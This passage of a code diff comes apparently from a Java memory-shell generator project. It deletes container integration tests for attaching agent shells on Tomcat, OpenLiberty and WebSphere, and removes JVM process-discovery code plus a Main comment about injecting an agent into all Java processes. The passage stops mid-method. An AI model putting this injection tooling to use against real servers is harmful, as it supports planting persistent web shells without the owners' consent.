protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -53,9 +51,4 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -52,9 +50,4 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -53,9 +51,4 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -55,9 +53,4 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -55,9 +53,4 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere7;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,7 +13,6 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration; import java.time.Duration;
import java.util.List; import java.util.List;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -29,7 +26,6 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
"reajason/websphere:7.0.0.21", "reajason/websphere:7.0.0.21",
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
.targetJdkVersion(Opcodes.V1_6) .targetJdkVersion(Opcodes.V1_6)
.env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.supportedShellTypes(List.of( .supportedShellTypes(List.of(
ShellType.SERVLET, ShellType.SERVLET,
@@ -50,9 +46,4 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
} }
@@ -18,7 +18,7 @@ import java.time.Duration;
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
.expectedJdkVersion("JRE|17.0.18|61") .expectedJdkVersion("JRE|17.0.17|61")
.targetJdkVersion(Opcodes.V1_8) .targetJdkVersion(Opcodes.V1_8)
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.privilegedMode(true) .privilegedMode(true)
@@ -15,7 +15,6 @@
*/ */
import java.io.File; import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -23,18 +22,13 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException; import java.net.URISyntaxException;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource; import java.security.CodeSource;
import java.security.PrivilegedAction; import java.security.PrivilegedAction;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.Collections; import java.util.Collections;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Properties;
import java.util.Set;
/** /**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a> * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -97,41 +91,6 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
} }
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
* <p>
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData binary files to extract
* the main class name. OpenJ9 processes are discovered by scanning
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
* </p>
* <p>
* <b>Note</b>: Only processes accessible to the current user are listed.
* Stale entries from crashed JVMs may appear. Processes started with
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/** /**
* Installs a Java agent on a target VM. * Installs a Java agent on a target VM.
* *
@@ -969,431 +928,4 @@ public class Attacher {
} }
} }
} }
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
/**
* The process ID.
*/
private final String pid;
/**
* The main class name or JAR path, may be empty if unknown.
*/
private final String mainClass;
/**
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
*/
private final String vmType;
/**
* Creates a new Java process descriptor.
*
* @param pid The process ID.
* @param mainClass The main class name or JAR path, may be empty if unknown.
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
/**
* Returns the process ID.
*
* @return The process ID.
*/
public String getPid() {
return pid;
}
/**
* Returns the main class name or JAR path. May be empty if unknown.
*
* @return The main class name.
*/
public String getMainClass() {
return mainClass;
}
/**
* Returns the JVM type identifier.
*
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public String getVmType() {
return vmType;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData v2 binary files.
*/
private static class HotSpotProcessDiscovery {
/**
* The PerfData magic number: {@code 0xcafec0c0}.
*/
private static final int PERFDATA_MAGIC = 0xcafec0c0;
/**
* The directory name prefix for HotSpot PerfData user directories.
*/
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
/**
* The PerfData entry name for the Java command line.
*/
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
/**
* The data units value for STRING type entries.
*/
private static final byte UNITS_STRING = 5;
/**
* Maximum PerfData file size to read (1 MB), as a safety bound.
*/
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
/**
* Minimum PerfData file size (v2 prologue is 32 bytes).
*/
private static final int MIN_PERFDATA_SIZE = 32;
/**
* The size of a PerfData v2 entry header in bytes.
*/
private static final int ENTRY_HEADER_SIZE = 20;
/**
* Discovers all HotSpot JVM processes visible to the current user.
*
* @return A list of discovered HotSpot Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
/**
* Returns the list of temporary directories to scan for HotSpot PerfData files.
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs.
*
* @return A list of temporary directories.
*/
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
/**
* Parses a HotSpot PerfData v2 binary file to extract the value of
* {@code sun.rt.javaCommand}.
* <p>
* The PerfData v2 binary format consists of a 32-byte prologue followed
* by a sequence of variable-length entries. Each entry contains a name
* and a data value. This method iterates through entries looking for
* the {@code sun.rt.javaCommand} entry.
* </p>
*
* @param file The PerfData file to parse.
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
*/
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
// Magic number is always stored in big-endian
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt(); // offset 0
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get(); // offset 4
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get(); // offset 5
buffer.get(); // offset 6: minor version
buffer.get(); // offset 7: accessible / reserved
if (majorVersion < 2) {
// Only PerfData v2 format is supported
return "";
}
// v2 prologue fields
buffer.getInt(); // offset 8: used
buffer.getInt(); // offset 12: overflow
buffer.getLong(); // offset 16: mod_time_stamp
int entryOffset = buffer.getInt(); // offset 24: entry_offset
int numEntries = buffer.getInt(); // offset 28: num_entries
// Iterate through PerfData entries
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get(); // data_units
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
// Read the entry name (null-terminated UTF-8 string)
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
// Read the string value
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
/**
* Checks if a string consists entirely of digit characters.
*
* @param str The string to check.
* @return {@code true} if the string is non-empty and contains only digits.
*/
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
/**
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
* first space-delimited token.
*
* @param javaCommand The full Java command string.
* @return The main class or JAR name, or empty string if input is empty.
*/
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
* and reading {@code attachInfo} property files.
*/
private static class OpenJ9ProcessDiscovery {
/**
* The directory name used by OpenJ9 for attach API information.
*/
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
/**
* The file name containing process attach information within each VM directory.
*/
private static final String ATTACH_INFO_FILE = "attachInfo";
/**
* Discovers all OpenJ9 JVM processes visible to the current user.
*
* @return A list of discovered OpenJ9 Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
/**
* Returns the list of directories to scan for OpenJ9 attach information.
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
* {@code com.ibm.tools.attach.directory} system property.
*
* @return A list of attach directories to scan.
*/
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
} }
@@ -1,46 +1,9 @@
import java.util.List;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/5/16 * @since 2025/5/16
*/ */
public class Main { public class Main {
/**
* java -jar attach.jar — 列出所有 Java 进程
* java -jar attach.jar <pid> — 注入指定进程
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
*/
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length == 0) { Attacher.attach(args[0]);
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
